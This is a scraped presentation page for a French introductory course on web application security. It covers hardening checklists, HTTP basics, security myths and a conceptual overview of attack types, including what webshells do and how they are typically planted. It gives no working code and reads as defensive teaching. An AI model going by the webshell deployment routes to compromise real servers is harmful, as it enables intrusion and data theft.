détecter toute tentative d’intrusion
 Le processus serveur base de données devrait fonctionner comme étant un
utilisateur avec des privilèges minimum et jamais en tant qu'administrateur
 Mettre en place une politique stricte de contrôle d'accès physique et logique
 Activer les logs sur les tables jugés critiques
 Certains serveurs de base de données comprennent des serveurs d’applications
par défaut. Il est recommandé qu'ils soient supprimés s’ils sont inutiles
 Le serveur de base de données ne devrait pas avoir une adresse IP accessible au
public
 L'accès à la base de données ne devrait être autorisé qu'à partir du serveur web sur
un port bien particulier
SECURISATION DU communication
SECURISATION DU communication

 configurer l'authentification basée sur l’adresse IP comme
une seconde ligne de défense
 Pour les ressources web qui nécessitent une protection minimale, mais
pour lesquelles il n'existe pas de définition claire du public, configurer une
authentification basique ou digest (meilleure)
 Pour les ressources web qui nécessitent une protection contre les robots
collecteurs ou les robots de bombardement, configurer l'authentification de
base ou digest (mieux) ou appliquer d’autres techniques (tels que captcha,
nofollow, etc.)

 Pour les ressources web qui nécessitent une protection maximale,
configurer SSL/TLS
SECURISATION DU communication

 Configurer SSL/TLS

 S’assurer que le SSL / TLS mis en œuvre est entièrement mis à jour.
 Utiliser un certificat émis par une tierce partie pour l'authentification du
serveur
 Pour les configurations qui nécessitent un niveau moyen d’authentification
du client, configurer le serveur pour exiger un nom d'utilisateur et un mot
de passe via SSL / TLS
 Pour les configurations qui nécessitent un niveau élevé d'authentification
de clients, configurer le serveur à exiger des certificats client via SSL / TLS
 S'assurer que les algorithmes de chiffrement faibles sont désactivés
 Configurer un contrôleur d'intégrité pour surveiller le certificat de serveur
web
 Si seulement SSL / TLS doit être utilisé dans le serveur web, s'assurer que
l'accès via n'importe quel port TCP autre que le 443 est désactivé
SECURISATION DU communuication

 Protéger contre les attaques de brute force
 Utiliser l'authentification forte, si possible (one time
password, certificat numérique, etc.)
 Verrouiller un compte après un nombre déterminé de
tentatives de connexion a échoué
 Appliquer une politique de mot de passe
 Mettre une liste noire des adresses IP connus de tenter
des attaques en brute force
 Utiliser un logiciel de contrôle du journal (log) pour
détecter les attaques en brute force
INFRASTRUCTURE RÉSEAU SÉCURISÉE
INFRASTRUCTURE RÉSEAU SÉCURISÉE

 Identifier l'emplacement dans le réseau:
 Serveur web est situé dans une DMZ

 Évaluer la configuration du firewall:
 Serveur web est protégé par un pare-feu de couche d'application
 Firewall contrôle tout le trafic entre l'Internet et le serveur web
 Pare-feu bloque tout le trafic entrant vers le serveur web, sauf les ports TCP 80
(HTTP) et / ou 443 (HTTPS)
 Pare-feu bloque les adresses IP que l’IDS/IPS reporte en tant que des adresses
d’attaque
 Pare-feu réseau notifie l'administrateur du serveur web des activités suspectes par
un moyen approprié
 Pare-feu offre le filtrage de contenu (pare-feu de couche d'application)
 Pare-feu est configuré pour se protéger contre les attaques DoS
 Firewall détecte les requêtes mal formés ou les URL d’attaque connus
 Firewall journalise (logue) les événements critiques
 Le firewall est mis à jour avec les derniers correctifs stables
INFRASTRUCTURE RÉSEAU SÉCURISÉE
 Évaluer les systèmes de détection et de prévention d'intrusion
 IDS/IPS est configuré pour surveiller le trafic réseau depuis et vers le serveur web
 IDS/IPS est configuré pour surveiller les changements apportés aux fichiers
importants sur le serveur web (IDS/IPS hôte ou contrôleur d'intégrité de fichiers)
 IDS/IPS bloque (en conjonction avec le firewall) les adresses IP ou les sousréseaux qui attaquent le réseau de l’entreprise
 IDS/IPS avise l’administrateur du serveur web des attaques soupçonnées par des
moyens appropriés
 IDS/IPS est configuré de manière à maximiser la détection avec un niveau
acceptable de faux positifs
 IDS/IPS est configuré pour enregistrer les événements du journal
 IDS/IPS est mis à jour fréquemment avec de nouvelles signatures d'attaque (par
exemple, sur une base quotidienne)
 IDS/IPS hôte est configuré pour surveiller les ressources système disponibles au
niveau du serveur web
INFRASTRUCTURE RÉSEAU SÉCURISÉE
 Évaluer les commutateurs réseau
 Les commutateurs sont utilisés pour protéger contre les écoutes réseau
 Les commutateurs sont configurés en mode haute sécurité afin de vaincre les
attaques ARP poisoning
 Les commutateurs sont configurés pour envoyer tout le trafic sur le segment de
réseau vers l’IDS/IPS réseau.
 Évaluer les répartiteurs de charge (Load balancers)
 Les répartiteurs de charge sont utilisés pour augmenter la disponibilité du serveur
web
 Les équilibreurs de charge sont complétés par les caches web
 Evaluer le reverse proxy
 Le reverse proxy est utilisé comme une passerelle de sécurité pour accroître la
disponibilité du serveur web
 Le reverse proxy est complété par une accélération de chiffrement, une
authentification des utilisateurs et des fonctionnalités de filtrage de contenu
Réseau Externe

Firewall

vulture,
modsecurity

Application
Hébergée

HTTP
HTTPS

Web
Firewall

Serveur
Web

Mail
FTP

Application Web

DNS

P2P

Green SQL

Autres

DB
 Hardning du système d’exploitation.(voir le
guide dans la site officielle)
 Hardning du serveur web(exemple voir
guide hardening apache).
 Hardning du serveur base des
données(exemple voir guide hardening
mysql).
 Un web firewall applicatif (exemple voir
guide de mod security).
 Database firewall (exemple green sql).
 urlScan:est un outil de sécurité Microsoft qui limite les types de
requêtes HTTP traitées par Internet Information Services (IIS).

IIS lockdown

:est un outil qui permet d’assurer un plus haut
niveau de sécurité en désactivant les options inutilisées d’IIS (Internet
Information Services).
Et contient l’outi urlscan
lien : http://www.laboratoire-microsoft.org/d/?id=11151
Merci !!!

Contenu connexe

Tendances

Tendances (20)

Support Web Services SOAP et RESTful Mr YOUSSFI
Support Web Services SOAP et RESTful Mr YOUSSFISupport Web Services SOAP et RESTful Mr YOUSSFI
Support Web Services SOAP et RESTful Mr YOUSSFI
 
INITIATION A LA SÉCURITÉ INFORMATIQUE.pptx
INITIATION A LA SÉCURITÉ INFORMATIQUE.pptxINITIATION A LA SÉCURITÉ INFORMATIQUE.pptx
INITIATION A LA SÉCURITÉ INFORMATIQUE.pptx
 
Introduction à ASP.NET
Introduction à ASP.NETIntroduction à ASP.NET
Introduction à ASP.NET
 
Sécurité des Applications Web avec Json Web Token (JWT)
Sécurité des Applications Web avec Json Web Token (JWT)Sécurité des Applications Web avec Json Web Token (JWT)
Sécurité des Applications Web avec Json Web Token (JWT)
 
Support JEE Servlet Jsp MVC M.Youssfi
Support JEE Servlet Jsp MVC M.YoussfiSupport JEE Servlet Jsp MVC M.Youssfi
Support JEE Servlet Jsp MVC M.Youssfi
 
Mohamed youssfi support architectures logicielles distribuées basées sue les ...
Mohamed youssfi support architectures logicielles distribuées basées sue les ...Mohamed youssfi support architectures logicielles distribuées basées sue les ...
Mohamed youssfi support architectures logicielles distribuées basées sue les ...
 
Traitement distribue en BIg Data - KAFKA Broker and Kafka Streams
Traitement distribue en BIg Data - KAFKA Broker and Kafka StreamsTraitement distribue en BIg Data - KAFKA Broker and Kafka Streams
Traitement distribue en BIg Data - KAFKA Broker and Kafka Streams
 
Introduction à spring boot
Introduction à spring bootIntroduction à spring boot
Introduction à spring boot
 
Java entreprise edition et industrialisation du génie logiciel par m.youssfi
Java entreprise edition et industrialisation du génie logiciel par m.youssfiJava entreprise edition et industrialisation du génie logiciel par m.youssfi
Java entreprise edition et industrialisation du génie logiciel par m.youssfi
 
Support POO Java première partie
Support POO Java première partieSupport POO Java première partie
Support POO Java première partie
 
Concevoir, développer et sécuriser des micro-services avec Spring Boot
Concevoir, développer et sécuriser des micro-services avec Spring BootConcevoir, développer et sécuriser des micro-services avec Spring Boot
Concevoir, développer et sécuriser des micro-services avec Spring Boot
 
Qualité logiciel - Generalités
Qualité logiciel - GeneralitésQualité logiciel - Generalités
Qualité logiciel - Generalités
 
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4 Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4
Metasploit et Metasploitable2 : exploiter VSFTPD v2.3.4
 
eServices-Tp1: Web Services
eServices-Tp1: Web ServiceseServices-Tp1: Web Services
eServices-Tp1: Web Services
 
SOA - Architecture Orientée Service : Démystification
SOA - Architecture Orientée Service : DémystificationSOA - Architecture Orientée Service : Démystification
SOA - Architecture Orientée Service : Démystification
 
Audit sécurité des systèmes d’information
Audit sécurité des systèmes d’informationAudit sécurité des systèmes d’information
Audit sécurité des systèmes d’information
 
Architecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependancesArchitecture jee principe de inversion de controle et injection des dependances
Architecture jee principe de inversion de controle et injection des dependances
 
Introduction aux architectures des SI
Introduction aux architectures des SI Introduction aux architectures des SI
Introduction aux architectures des SI
 
Ateliers d’une application Web vulnérable
Ateliers d’une application Web vulnérable Ateliers d’une application Web vulnérable
Ateliers d’une application Web vulnérable
 
La virtualisation
La virtualisationLa virtualisation
La virtualisation
 

En vedette

Hack apprendre-le-hacking-2020-hackers 3
Hack apprendre-le-hacking-2020-hackers 3Hack apprendre-le-hacking-2020-hackers 3
Hack apprendre-le-hacking-2020-hackers 3
DICKO Yacouba
 
La sécurité sur le web
La sécurité sur le webLa sécurité sur le web
La sécurité sur le web
Softeam agency
 
Tuto comment pirater un compte facebook
Tuto comment pirater un compte facebookTuto comment pirater un compte facebook
Tuto comment pirater un compte facebook
Leo Bonnet
 
Passer de zéro à 100km/h sur Drupal grâce à Acquia
Passer de zéro à 100km/h sur Drupal grâce à AcquiaPasser de zéro à 100km/h sur Drupal grâce à Acquia
Passer de zéro à 100km/h sur Drupal grâce à Acquia
Acquia
 

En vedette (20)

Attques web
Attques webAttques web
Attques web
 
Sécurité des applications Web
Sécurité des applications WebSécurité des applications Web
Sécurité des applications Web
 
Securité des applications web
Securité des applications webSecurité des applications web
Securité des applications web
 
Audit de sécurité informatique
Audit de sécurité informatiqueAudit de sécurité informatique
Audit de sécurité informatique
 
Hack apprendre-le-hacking-2020-hackers 3
Hack apprendre-le-hacking-2020-hackers 3Hack apprendre-le-hacking-2020-hackers 3
Hack apprendre-le-hacking-2020-hackers 3
 
Applications métier avec Drupal
Applications métier avec DrupalApplications métier avec Drupal
Applications métier avec Drupal
 
Architecture orientée service (SOA)
Architecture orientée service (SOA)Architecture orientée service (SOA)
Architecture orientée service (SOA)
 
Applications mobiles et sécurité
Applications mobiles et sécuritéApplications mobiles et sécurité
Applications mobiles et sécurité
 
Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]Introduction à la sécurité des applications web avec php [fr]
Introduction à la sécurité des applications web avec php [fr]
 
Présentation SIH
Présentation SIHPrésentation SIH
Présentation SIH
 
Alphorm.com support de la formation Drupal 8 webmaster configurateur
Alphorm.com support de la formation Drupal 8 webmaster configurateurAlphorm.com support de la formation Drupal 8 webmaster configurateur
Alphorm.com support de la formation Drupal 8 webmaster configurateur
 
Python et son intégration avec Odoo
Python et son intégration avec OdooPython et son intégration avec Odoo
Python et son intégration avec Odoo
 
Meilleures pratiques pour construire un site web Drupal
Meilleures pratiques pour construire un site web DrupalMeilleures pratiques pour construire un site web Drupal
Meilleures pratiques pour construire un site web Drupal
 
Sécurité des systèmes d'information
Sécurité des systèmes d'informationSécurité des systèmes d'information
Sécurité des systèmes d'information
 
Séminaire Drupal 8
Séminaire Drupal 8Séminaire Drupal 8
Séminaire Drupal 8
 
La sécurité sur le web
La sécurité sur le webLa sécurité sur le web
La sécurité sur le web
 
Tuto PrestaShop 1 6 formation gratuite
Tuto PrestaShop 1 6 formation gratuiteTuto PrestaShop 1 6 formation gratuite
Tuto PrestaShop 1 6 formation gratuite
 
Alphorm.com Formation Drupal 7 pour les utilisateurs
Alphorm.com Formation Drupal 7 pour les utilisateurs Alphorm.com Formation Drupal 7 pour les utilisateurs
Alphorm.com Formation Drupal 7 pour les utilisateurs
 
Tuto comment pirater un compte facebook
Tuto comment pirater un compte facebookTuto comment pirater un compte facebook
Tuto comment pirater un compte facebook
 
Passer de zéro à 100km/h sur Drupal grâce à Acquia
Passer de zéro à 100km/h sur Drupal grâce à AcquiaPasser de zéro à 100km/h sur Drupal grâce à Acquia
Passer de zéro à 100km/h sur Drupal grâce à Acquia
 

Similaire à Sécurité des Applications WEB -LEVEL1

Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02
Asma Messaoudi
 
Presentation des failles_de_securite
Presentation des failles_de_securitePresentation des failles_de_securite
Presentation des failles_de_securite
Borni Dhifi
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
Sébastien GIORIA
 
Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012
Valdes Nzalli
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
Sébastien GIORIA
 
Première rencontre d'owasp québec
Première rencontre d'owasp québecPremière rencontre d'owasp québec
Première rencontre d'owasp québec
Patrick Leclerc
 

Similaire à Sécurité des Applications WEB -LEVEL1 (20)

Durcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative WebDurcissement de code - Sécurité Applicative Web
Durcissement de code - Sécurité Applicative Web
 
Vulnérabilité des sites web
Vulnérabilité des sites webVulnérabilité des sites web
Vulnérabilité des sites web
 
Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02Securitedesapplications 091011120426-phpapp02
Securitedesapplications 091011120426-phpapp02
 
Les principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuellesLes principales failles de sécurité des applications web actuelles
Les principales failles de sécurité des applications web actuelles
 
Presentation des failles_de_securite
Presentation des failles_de_securitePresentation des failles_de_securite
Presentation des failles_de_securite
 
Owasp et les failles des applications web
Owasp et les failles des applications webOwasp et les failles des applications web
Owasp et les failles des applications web
 
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V012010 02 09 Ms Tech Days Owasp Asvs Sgi V01
2010 02 09 Ms Tech Days Owasp Asvs Sgi V01
 
Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012Valdes securite des application - barcamp2012
Valdes securite des application - barcamp2012
 
Owasp top 10 2010 Resist toulouse
Owasp top 10   2010  Resist toulouseOwasp top 10   2010  Resist toulouse
Owasp top 10 2010 Resist toulouse
 
20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif20090929 04 - Securité applicative, hacking et risque applicatif
20090929 04 - Securité applicative, hacking et risque applicatif
 
Securite web is_ima
Securite web is_imaSecurite web is_ima
Securite web is_ima
 
Première rencontre d'owasp québec
Première rencontre d'owasp québecPremière rencontre d'owasp québec
Première rencontre d'owasp québec
 
Epitech securite-2012.key
Epitech securite-2012.keyEpitech securite-2012.key
Epitech securite-2012.key
 
Webinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme ThéméeWebinaire : sécurité informatique sur le web - Jérôme Thémée
Webinaire : sécurité informatique sur le web - Jérôme Thémée
 
ASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APTASFWS 2011 - L’importance du protocole HTTP dans la menace APT
ASFWS 2011 - L’importance du protocole HTTP dans la menace APT
 
Les menaces applicatives
Les menaces applicativesLes menaces applicatives
Les menaces applicatives
 
Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...Sécurité dans les contrats d'externalisation de services de développement et ...
Sécurité dans les contrats d'externalisation de services de développement et ...
 
Failles de sécurité
Failles de sécuritéFailles de sécurité
Failles de sécurité
 
ReST API Security
ReST API SecurityReST API Security
ReST API Security
 
ReST API Security
ReST API SecurityReST API Security
ReST API Security
 

Dernier

Dernier (13)

Fiche de vocabulaire pour faire une appréciation
Fiche de vocabulaire pour faire une appréciationFiche de vocabulaire pour faire une appréciation
Fiche de vocabulaire pour faire une appréciation
 
Réunion des directeurs de Jonzac - 15 mai 2024
Réunion des directeurs de Jonzac - 15 mai 2024Réunion des directeurs de Jonzac - 15 mai 2024
Réunion des directeurs de Jonzac - 15 mai 2024
 
Saint Damien, missionnaire auprès des lépreux de Molokai, Hawaï.pptx
Saint Damien, missionnaire auprès des lépreux de Molokai, Hawaï.pptxSaint Damien, missionnaire auprès des lépreux de Molokai, Hawaï.pptx
Saint Damien, missionnaire auprès des lépreux de Molokai, Hawaï.pptx
 
Àma Gloria.pptx Un film tourné au Cap Vert et en France
Àma Gloria.pptx   Un film tourné au Cap Vert et en FranceÀma Gloria.pptx   Un film tourné au Cap Vert et en France
Àma Gloria.pptx Un film tourné au Cap Vert et en France
 
GHASSOUB _Seance 4_ measurement and evaluation in education_-.pptx
GHASSOUB _Seance 4_ measurement and evaluation in education_-.pptxGHASSOUB _Seance 4_ measurement and evaluation in education_-.pptx
GHASSOUB _Seance 4_ measurement and evaluation in education_-.pptx
 
Texte avec différentes critiques positives, négatives ou mitigées
Texte avec différentes critiques positives, négatives ou mitigéesTexte avec différentes critiques positives, négatives ou mitigées
Texte avec différentes critiques positives, négatives ou mitigées
 
Nathanaëlle Herbelin.pptx Peintre française
Nathanaëlle Herbelin.pptx Peintre françaiseNathanaëlle Herbelin.pptx Peintre française
Nathanaëlle Herbelin.pptx Peintre française
 
GHASSOUB _Seance 3_ measurement and evaluation in education.pptx
GHASSOUB _Seance 3_ measurement and evaluation in education.pptxGHASSOUB _Seance 3_ measurement and evaluation in education.pptx
GHASSOUB _Seance 3_ measurement and evaluation in education.pptx
 
CALENDRIER ET COMPTE RENDU REUNION DIRECTION
CALENDRIER ET COMPTE RENDU REUNION DIRECTIONCALENDRIER ET COMPTE RENDU REUNION DIRECTION
CALENDRIER ET COMPTE RENDU REUNION DIRECTION
 
Chapitre3-Classififcation des structures de chaussu00E9e.pptx
Chapitre3-Classififcation des structures de  chaussu00E9e.pptxChapitre3-Classififcation des structures de  chaussu00E9e.pptx
Chapitre3-Classififcation des structures de chaussu00E9e.pptx
 
Les débuts de la collection "Le livre de poche"
Les débuts de la collection "Le livre de poche"Les débuts de la collection "Le livre de poche"
Les débuts de la collection "Le livre de poche"
 
Un petit coin etwinning- Au fil des cultures urbaines
Un petit coin  etwinning- Au fil des cultures urbainesUn petit coin  etwinning- Au fil des cultures urbaines
Un petit coin etwinning- Au fil des cultures urbaines
 
complement de agri cours irrigation.pptx
complement de agri cours irrigation.pptxcomplement de agri cours irrigation.pptx
complement de agri cours irrigation.pptx
 

Sécurité des Applications WEB -LEVEL1

  • 1. LOGO Sécurité des Applications WEB niveau 1 Attaques Cybernétiques Tarek MOHAMED CEH,CHFI,ESCP Tarekmed.rachdi@gmail.com
  • 2. Plan I. Introduction    II. Statistiques et évolution des failles liées au Web selon CENZIC, GARTNER, Zone-H et OWASP. Evolution des attaques applicatives. Qui sont les hackers ? Les technologies web      III. Architecture d’une application WEB. le protocole http. Mythes et réalités de sécurité web. L’application web la porte la plus facile pour les hackers. Les WebShells. Les technologies web      Terminologies essentielles. Les attaques en injection (SQL Injection /command Injection/OS injection/Xpath injection/….) Les attauques Cross site scripting/Cross-Site Request Forgery/. Les attaques sur les sessions (Cache Poisoning/Hijacking/ Mauvaise gestion des sessions et de l’authentification….) Les vulnérabilités d’authentification et l’autorisation (Brute force/ insuffisance d’authentification / insuffisance d’autorisation/ Escalation de privilège/ Référence directe non sécurisée à un objet …..)
  • 3. Plan       La manipulation des fichiers (Remote File Include /Remote File upload/Path Manipulation/Directory traversal/Directory indexing….) Les attaques logiques (denie de service/Abus de fonctionnalité/ insuffisance anti-automation…). Attaques sur la configuration standard (Mauvaise configuration/configuration par défaut/mot de passe par défaut..) L’attaque de Phishing. Les attaques réseaux (DOS/DDOS/DNS cache poisonning) Travaux pratiques : Manipulation et simulations de dizaines d’attaques web. IV. Les Bonnes pratiques du développement sécurisé et d’administration de plate forme d’hébergement.     Bonnes pratiques de développement sécurisé. Bonnes pour l’administration des sites web. Bonnes pratiques pour la sécurité des plateformes web. Travaux pratiques : correction des vulnérabilités.
  • 5. Introduction  Au cours du processus de développement, la majorité se concentre sur l’enrichissement des fonctionnalités, sur l’accélération du processus de développement et sur la réduction des coûts, tout en négligeant les mauvaises conséquences de ce rythme de développement sur la sécurité du produit.  Les attaquants prennent le dessus et trouvent de plus en plus de succès en exploitant les failles et les trous laissés par les développeurs.  Risques les plus connus dans les applications Web : • • • • • • SQL Injection, Cross Site Scripting, La manipulation de variables, L’exploitation des mauvaises configurations , L’exploitation de certaines sections comme «J’ai oublié mon mot de passe», La mauvaise interprétation d’URL.
  • 9. Introduction: Evolution des attaques applicatives Fonctionnalité Sécurité Facilité d'utilisation
  • 10. Introduction: Evolution des attaques applicatives % Attaques % Dépenses Application Web 10 % 75 % 90 % 25 % Eléments Réseaux Etude du GARTNER 2003 75% des attaques ciblent le niveau Applicatif 66% des applications web sont vulnérables Etude du SANS (septembre 2009) http://www.sans.org/top-cyber-security-risks/
  • 11. Introduction: Evolution des attaques applicatives 3 sur 4 sites web d’affaire sont vulnérables à des attaques
  • 12. Introduction: Evolution des attaques applicatives Source : Rapport Cenzic – 1er semestre 2009
  • 13. Introduction: Qui sont les hackers ? Black Hats :créateurs de virus, cyberespions, cyber-terroristes ou cyber-escrocs, agissant la plupart du temps hors-la-loi dans le but soit de nuire, de faire du profit ou d'obtenir des informations. (crackers) White Hats :professionnels de la sécurité informatique effectuant des tests d'intrusions en accord avec leurs clients et la législation en vigueur afin de qualifier le niveau de sécurité de systèmes.(security analysts) Gray Hats :Les personnes qui Suicide Hackers :Les travaillent à la fois offensive et défensive à des différentes reprises personnes qui auront pour but de faire désactiver les infrastructures essentielles pour une «cause» et ne pas s'inquiéter face à 30 ans de prison pour leurs actions
  • 14. Introduction: Hacktivisme • hacktivisme est un acte de promotion d’une agenda par le piratage qui se manifeste spécialement par le defacement ou la désactivation des sites web. • Comprend les pirates avec un programme social ou politique. • Pirater des sites pour faire passer un message. • Certains sites agissant fortement à la manière de script kiddies, s'auto-proclament hacktivistes sans aucun fondement.
  • 16. Architecture Web Serveur WEB •Microsoft IIS •Apache •… APPLICATION WEB BD •ASP •Java •PHP •JSP •Perl •CGI •… •SQL Server •Oracle •MySql •Postgres •… •ADO •ODBC •…
  • 17. Le protocole HTTP Requête http://www.le-site.com/ GET /index.html HTTP/1.0 Host : www.le-site.com HTTP/1.1 200 OK Server: Netscape-Enterprise/6.0 Date: Sun, 9 Fev 2006 10:46:17 GMT Content-length: 324 Content-type: text/html Last-modified: Tue, 14 Dec 2005 16:38:08 GMT Connection: close <blank line> <html> <head></head> <body> Bienvenu dans le Site. </body> </html>
  • 18. Le protocole HTTP Les Méthodes HTTP GET Renvoie le contenu du document indiqué, peut placer des paramètres dans l’entête de la requête POST Demande un document comme GET, peut traiter le document comme s’il était un script et lui envoi des données, peut placer des paramètres TRACE Cette méthode demande au serveur de retourner ce qu'il a reçu, dans le but de tester et effectuer un diagnostic sur la connexion. PUT Inscrit des données dans le contenu du document CONNECT Demande une connexion au serveur relais pour établir une communication via un tunnel (exemple SSL) HEAD Retourne l’information de l’entête du document (Taille de fichier, date de modification, version du serveur) OPTIONS Demandes des informations sur les options disponibles sur communication DELETE Efface le document indiqué
  • 19. Le protocole HTTP Les réponses HTTP Code de réponse donné par le serveur au client: -100-199 Informationnel 100 : Continue (le client peut envoyer la suite de la requête), ... -200-299 Succès de la requête client 200: OK, 201: Created, 204 : No Content, ... -300-399 Redirection de la Requête client 301: Redirection, 302: Found, 304: Not Modified, 305 : Use Proxy, ... -400-499 Requête client incomplète 400: Bad Request, 401: Unauthorized, 403: Forbidden, 404: Not Found -500-599 Erreur Serveur 500: Server Error, 501: Not Implemented, 502: Bad Gateway, 503: Out Of Resources (Service Unavailable)
  • 20. Le protocole HTTP Requête http://www.le-site.com/client/login.php?login=acheteur&password=pass2006 http:// www.le-site.com/client/ Serveur Web •Microsoft IIS •Apache •… login.php? login=acheteur&password=pass2006 DB Application Web •ASP •Java •PHP •JSP •Perl •CGI •… •ADO •ODBC •… •SQL Server •Oracle •MySql •Postgres •…
  • 21. Le protocole HTTP Les types de paramètres:  Variables GET: Elles sont données dans l’URL de demande  Variables POST: Fournies par un formulaire.  Variables Cookies: Variables conservées par le navigateur sur son disque dur et généralement fournies par le serveur.
  • 22. Le protocole HTTP Les variables GET  Décrites dans l’URL  http ://www.google.com/search ?p=html&hl=fr  Ici 2 variables p et hl, avec les valeurs html et fr.  Généralement provenant d’une interrogation directe  Dans le cas présent, plutôt rare, il s’agit d’envoi par formulaire(method=GET)
  • 23. Le protocole HTTP  Les variables POST  Remplies par un formulaire  Utilisées quand on a un grand volume de donn´ees `a envoyer  Utilisées quand on a un grand nombre de variables  Non tracées par les journaux des daemons (hormis modules spécifiques)  Traitement particulier des variables Hidden qui sont cachées  pour l’utilisateur, mais pas pour le navigateur.
  • 24. Le protocole HTTP  Les variables cookies:  Notion de valise de variables stockées sur le client  Transmises de manière transparente dans la requête  C’est le serveur qui est sens´e positionner ces variables pour une durée limitée  Un serveur ne peut généralement (sauf faille de sécurité) demander a accéder qu’aux variables : • Qu’il a lui-même positionnées • Qu’une machine de son domaine a positionnées (et si celle-ci l’a autorise) • Qu’une machine d’un domaine de confiance a positionnées (si celle-ci l’a autorisé)
  • 25. Mythes et réalités de sécurité web.  Mythe N°1 « Sans demande particulière, le développeur me fournira une solution sécurisée »  Sans des précautions particulières ne sont pas prises, l’application web n’est pas sécurisé.  Il est fort probable que des vulnérabilités existent dans l’application web et qu’elles puissent impacter la confidentialité, l’intégrité ou la disponibilité de l’application et des données traitées.  Ce qui est vrai pour tout type d’application l’est encore plus pour une technologie à l’origine conçue pour permettre un accès totalement libre aux informations, et donc où les mécanismes d’authentification, de gestion de session et de contrôle d’accès ne sont pas natifs.  Le donneur d’ordre doit donc faire en sorte que les bonnes pratiques de sécurité soient comprises et appliquées par le maître d’œuvre, puis se doter des moyens de contrôler le niveau de sécurité de l’application
  • 26. Mythes et réalités de sécurité web.  Mythe N°2 « Seuls des génies de l’informatique savent exploiter les failles des applications Web »  Les failles de sécurité au sein des applications Web sont le plus souvent faciles à exploiter. Un attaquant n’a souvent besoin que d’un simple navigateur Web pour identifier et exploiter des failles de sécurité.  Des outils complémentaires, comme des logiciels de proxy locaux, capables d’intercepter les requêtes entre le navigateur et le serveur Web sont disponibles gratuitement sur Internet.  Les technologies Web reposent en outre sur un ensemble de protocoles, langages, et architectures ouverts, dont les spécifications sont librement accessibles.  N’importe qui peut donc étudier ces référentiels et les flux échangés entre l’application Web et le client, pour identifier des failles d’implémentation ou de conception.
  • 27. Mythes et réalités de sécurité web.  Mythe N°3 « Mon site Web est sécurisé puisqu’il est protégé par SSL »  La technologie SSL a été conçue pour éviter que des données sensibles, comme des données de paiement, soient transmises « en clair » sur Internet, et les sites commerciaux arborent aujourd’hui tous un logo « site sécurisé par un certificat SSL ».  Lors de l’explosion du e- commerce, les medias ont expliqué qu’un internaute ne devait se considérer sur un site de confiance que si le fameux cadenas s’affichait dans la barre d’état du navigateur Web.  La dérive vers le mythe du « Mon site est sécurisé puisque il est protégé par SSL » s’explique donc facilement.  SSL est un mécanisme de sécurité nécessaire pour protéger la confidentialité et l’intégrité des données échangées entre le client et le serveur,  il n’est pas suffisant pour protéger totalement l’application Web, notamment des attaques contenues dans le flux Web envoyé par le client au serveur, qui passent donc dans le tuyau « SSL ».
  • 28. Mythes et réalités de sécurité web.  Mythe N°4 : « Je suis protégé contre les attaques, j’ai un firewall »  Un firewall efficace dans la plupart des cas pour empêcher des accès non autorisés à l’infrastructure hébergeant les applications Web, comme les services réseau des systèmes d’exploitation ou des bases de données, et sont donc nécessaires.  Malheureusement, ils sont insuffisants pour assurer la sécurité d’une application web, car les failles applicatives sont exploitées via des canaux de communication normaux et nécessaires au bon fonctionnement de l’application, et donc autorisés par le pare- feu.
  • 29. L’application web la porte la plus facile pour les hackers Problème essentiel ses dernières années: applicatif -90% des tests intrusifs : applicatif -≃ 100% des cas : présence de vulnérabilités exploitables Pourquoi ? Domaine en forte évolution (Web 2.0, Web Services ...) Trop peu de sensibilisation des développeurs à la sécurité Traitement des aspects sécurité trop tardif Manque de temps et de budget ⇒ Mise en production avec des vulnérabilités exploitables.
  • 30. L’application web la porte la plus facile pour les hackers Classiques: atteinte à l'image de la cible -Défiguration du site web -Récupération et diffusion d'informations client. ⇒ Exploitations itératives des vulnérabilités. Plus vicieux: serveur web = serveur rebond -Prise de contrôle du serveur web -Rebond sur des équipements internes ou tierces ⇒ Déploiement de nouvelles applications: webshells
  • 31. Webshell ?  Le WebShell est une porte ouverte dans une application ou serveur web.  Simple script PHP, ASP, JSP,PERL etc.  Accessible via une URL à partir d’un navigateur web.  Exécutant des actions systèmes sous l'identité du serveur web.  Permettant le rebond en interne ou vers des sites tiers à travers HTTP.  Exécution de commandes systèmes sur le serveur web.  Permet de prendre un contrôle totale sur un serveur.
  • 32. Webshell ? Impacts:  Défiguration du site web.  Récupération et diffusion d'informations client.  Vol de session utilisateurs.  Prise de contrôle totale du serveur web.  Rebond sur des équipements internes ou tierces.  Déploiement de portes dérobées: webshells.
  • 34. Webshell ?  Vulnérabilités dans les socles applicatifs (CMS).  Mauvais filtrages des entrées utilisateurs (injection SQL, XSS/CSRF)  Mauvais filtrage des extensions de fichiers pour les uploads  Inclusion de fichiers (File include).  Compromission d'une interface d'administration (Brute force,mot de passe banale).  Une fois le Shell est déployé, on peut exécuter de commandes systèmes, prise de contrôle totale.
